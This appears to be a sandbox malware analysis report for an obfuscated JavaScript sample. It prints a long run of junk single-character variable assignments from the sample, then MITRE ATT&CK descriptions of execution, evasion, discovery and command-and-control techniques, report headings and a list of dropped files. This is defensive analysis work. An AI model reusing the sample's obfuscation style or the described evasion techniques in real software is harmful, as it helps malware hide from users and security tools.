1259	jwnoclab = "e";
1260	jwnoclab = "\"";
1261	xghvnxec = "b";
1262	xghvnxec = "X";
1263	xghvnxec = "g";
1264	xghvnxec = "w";
1265	xghvnxec = "b";
1266	xghvnxec = "C";
1267	xghvnxec = "M";
1268	xghvnxec = "j";
1269	xghvnxec = "L";
1270	xghvnxec = "R";
1271	xghvnxec = "b";
1272	xghvnxec = "K";
1273	xghvnxec = "J";
1274	xghvnxec = "F";
1275	xghvnxec = "W";
1276	xghvnxec = "s";
1277	xghvnxec = "q";
1278	xghvnxec = "h";
1279	xghvnxec = "U";
1280	xghvnxec = "p";
1281	xghvnxec = "H";
1282	xghvnxec = "U";
1283	xghvnxec = "V";
1284	xghvnxec = "k";
1285	xghvnxec = "v";
1286	xghvnxec = "x";
1287	xghvnxec = "Q";
1288	xghvnxec = "U";
1289	xghvnxec = "l";
1290	xghvnxec = "m";
1291	xghvnxec = "T";
1292	xghvnxec = "F";
1293	xghvnxec = "J";
1294	xghvnxec = "c";
1295	xghvnxec = "C";
1296	xghvnxec = "M";
1297	xghvnxec = "N";
1298	xghvnxec = "d";
1299	xghvnxec = "L";
1300	xghvnxec = "W";
1301	xghvnxec = "l";
1302	xghvnxec = "j";
1303	xghvnxec = "i";
1304	xghvnxec = "0";
1305	plxvdywty = "m";
1306	plxvdywty = "B";
1307	plxvdywty = "e";
1308	plxvdywty = "G";
1309	plxvdywty = "N";
1310	plxvdywty = "Z";
1311	plxvdywty = "m";
1312	plxvdywty = "u";
1313	plxvdywty = "M";
1314	plxvdywty = "z";
1315	plxvdywty = "u";
1316	plxvdywty = "c";
1317	plxvdywty = "f";
1318	plxvdywty = "t";
1319	plxvdywty = "J";
1320	plxvdywty = "I";
1321	plxvdywty = "Q";
1322	plxvdywty = "q";
1323	plxvdywty = "h";
1324	plxvdywty = "1";
1325	iazsxp = "G";
1326	iazsxp = "W";
1327	iazsxp = "P";
1328	iazsxp = "S";
1329	suphzc = "Y";
1330	suphzc = "P";
1331	suphzc = "K";
1332	suphzc = "f";
1333	suphzc = "s";
1334	suphzc = "j";
1335	suphzc = "M";
1336	suphzc = "d";
1337	suphzc = "j";
1338	suphzc = "Y";
1339	suphzc = "w";
1340	suphzc = "t";
1341	suphzc = "L";
1342	suphzc = "F";
1343	suphzc = "f";
1344	suphzc = "F";
1345	suphzc = "b";
1346	suphzc = "p";
1347	suphzc = "s";
1348	suphzc = "L";
1349	suphzc = "K";
1350	suphzc = "j";
1351	suphzc = "y";
1352	suphzc = "E";
1353	suphzc = "W";
1354	suphzc = "v";
1355	suphzc = "O";
1356	suphzc = "t";
1357	suphzc = "u";
1358	suphzc = "G";
1359	suphzc = "i";
1360	suphzc = "m";
1361	suphzc = "O";
1362	suphzc = "k";
1363	suphzc = "I";
1364	suphzc = "p";
1365	suphzc = "E";
1366	suphzc = "R";
1367	suphzc = "I";
1368	suphzc = "N";
1369	suphzc = "f";
1370	suphzc = "a";
1371	tuznj = "J";
1372	tuznj = "F";
1373	tuznj = "Q";
1374	tuznj = "p";
1375	tuznj = "S";
1376	tuznj = "x";
1377	tuznj = "A";
1378	tuznj = "m";
1379	tuznj = "T";
1380	tuznj = "b";
1381	tuznj = "f";
1382	tuznj = "M";
1383	tuznj = "I";
1384	tuznj = "n";
1385	tuznj = "u";
1386	tuznj = "k";
1387	tuznj = "c";
1388	tuznj = "V";
1389	tuznj = "N";
1390	tuznj = "A";
1391	tuznj = "D";
1392	tuznj = "G";
1393	tuznj = "q";
1394	tuznj = "L";
1395	tuznj = "t";
1396	tuznj = "e";
1397	tuznj = "w";
1398	tuznj = "o";
1399	tuznj = "a";
1400	tuznj = "m";
1401	tuznj = "y";
1402	tuznj = "I";
1403	tuznj = "Y";
1404	tuznj = "N";
1405	tuznj = "z";
1406	tuznj = "D";
1407	tuznj = "D";
1408	tuznj = "Z";
1409	tuznj = "Q";
1410	tuznj = "t";
1411	tuznj = "x";
1412	jhfvqtxxh = "a";
1413	jhfvqtxxh = "S";
1414	jhfvqtxxh = "U";
1415	jhfvqtxxh = "v";
1416	jhfvqtxxh = "o";
1417	jhfvqtxxh = "V";
1418	jhfvqtxxh = "X";
1419	jhfvqtxxh = "f";
1420	jhfvqtxxh = "c";
1421	jhfvqtxxh = "t";
1422	jhfvqtxxh = "o";
1423	jhfvqtxxh = "G";
1424	jhfvqtxxh = "J";
1425	jhfvqtxxh = "O";
1426	jhfvqtxxh = "X";
1427	jhfvqtxxh = "Y";
1428	jhfvqtxxh = "U";
1429	jhfvqtxxh = "E";
1430	jhfvqtxxh = "A";
1431	jhfvqtxxh = "i";
1432	jhfvqtxxh = "z";
1433	jhfvqtxxh = "G";
1434	jhfvqtxxh = "a";
1435	jhfvqtxxh = "u";
1436	jhfvqtxxh = "z";
1437	jhfvqtxxh = "k";
1438	jhfvqtxxh = "X";
1439	jhfvqtxxh = "u";
1440	jhfvqtxxh = "m";
1441	jhfvqtxxh = "p";
1442	jhfvqtxxh = "J";
1443	jhfvqtxxh = "V";
1444	jhfvqtxxh = "t";
1445	jhfvqtxxh = "W";
1446	jhfvqtxxh = "i";
1447	jhfvqtxxh = "E";
1448	jhfvqtxxh = "Q";
1449	jhfvqtxxh = "t";
1450	jhfvqtxxh = "g";
1451	jhfvqtxxh = "g";
1452	jhfvqtxxh = "L";
1453	jhfvqtxxh = "F";
1454	pkmtaqz = "U";
1455	pkmtaqz = "f";
1456	nsyar = "H";
1457	nsyar = "f";
1458	nsyar = "f";
1459	nsyar = "w";
1460	nsyar = "X";
1461	nsyar = "X";
1462	nsyar = "b";
1463	nsyar = "Y";
1464	nsyar = "s";
1465	nsyar = "J";
1466	nsyar = "r";
1467	nsyar = "a";
1468	nsyar = "q";
1469	nsyar = "f";
1470	nsyar = "z";
1471	nsyar = "Y";
1472	nsyar = "i";
1473	nsyar = "y";
1474	nsyar = "J";
1475	nsyar = "M";
1476	nsyar = "l";
1477	nsyar = "e";
1478	nsyar = "s";
1479	nsyar = "A";
1480	nsyar = "a";
1481	nsyar = "A";
1482	nsyar = "s";
1483	nsyar = "y";
1484	nsyar = "p";
1485	nsyar = "u";
1486	nsyar = "k";
1487	nsyar = "Q";
1488	nsyar = "Q";
1489	nsyar = "P";
1490	nsyar = "O";
1491	nsyar = "s";
1492	nsyar = "Y";
1493	nsyar = "k";
1494	nsyar = "a";
1495	nsyar = "m";
1496	nsyar = "P";
1497	nsyar = "o";
1498	nsyar = "B";
1499	nsyar = "A";
1500	nsyar = "H";
1501	kguky = "s";
1502	kguky = "Y";
1503	kguky = "v";
1504	kguky = "T";
1505	kguky = "w";
1506	kguky = "l";
1507	kguky = "W";
1508	kguky = "E";
1509	kguky = "Z";
1510	kguky = "j";
1511	kguky = "z";
1512	kguky = "u";
1513	kguky = "J";
1514	kguky = "t";
1515	kguky = "r";
1516	kguky = "d";
1517	kguky = "B";
1518	kguky = "T";
1519	kguky = "O";
1520	kguky = "t";
1521	kguky = "g";
1522	kguky = "O";
1523	kguky = "Q";
1524	kguky = "a";
1525	kguky = "u";
1526	kguky = "t";
1527	kguky = "O";
1528	kguky = "N";
1529	kguky = "R";
1530	kguky = "F";
1531	kguky = "o";
1532	kguky = "x";
1533	kguky = "b";
1534	kguky = "H";
1535	kguky = "e";
1536	kguky = "i";
1537	kguky = "N";
1538	trrkd = "C";
1539	grdwpn = "S";
1540	grdwpn = "z";
1541	grdwpn = "e";
1542	grdwpn = "s";
1543	grdwpn = "C";
1544	grdwpn = "I";
1545	grdwpn = "q";
1546	grdwpn = "X";
1547	grdwpn = "U";
1548	grdwpn = "Z";
1549	grdwpn = "I";
1550	grdwpn = "j";
1551	grdwpn = "i";
1552	grdwpn = "x";
1553	grdwpn = "L";
1554	grdwpn = "w";
1555	slbuu = "j";
1556	slbuu = "M";
1557	slbuu = "K";
1558	slbuu = "y";
1559	slbuu = "f";
1560	slbuu = "S";
1561	slbuu = "z";
1562	slbuu = "f";
1563	slbuu = "d";
1564	slbuu = "h";
1565	slbuu = "I";
1566	slbuu = "s";
1567	slbuu = "K";
1568	slbuu = "q";
1569	slbuu = "K";
1570	slbuu = "K";
1571	slbuu = "Y";
1572	slbuu = "I";
1573	slbuu = "b";
1574	slbuu = "W";
1575	slbuu = "N";
1576	slbuu = "D";
1577	slbuu = "g";
1578	slbuu = "Z";
1579	slbuu = "a";
1580	slbuu = "A";
1581	slbuu = "i";
1582	slbuu = "e";
1583	slbuu = "D";
1584	slbuu = "g";
1585	slbuu = "e";
1586	slbuu = "W";
1587	slbuu = "Z";
1588	slbuu = "b";
1589	slbuu = "n";
1590	fgahswc ( );	fgahswc() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 32474162872806629906.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\fb8c959a-a9d7-41fa-a5fc-cbe0828d6cb5.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8072

Windows Analysis Report
32474162872806629906.js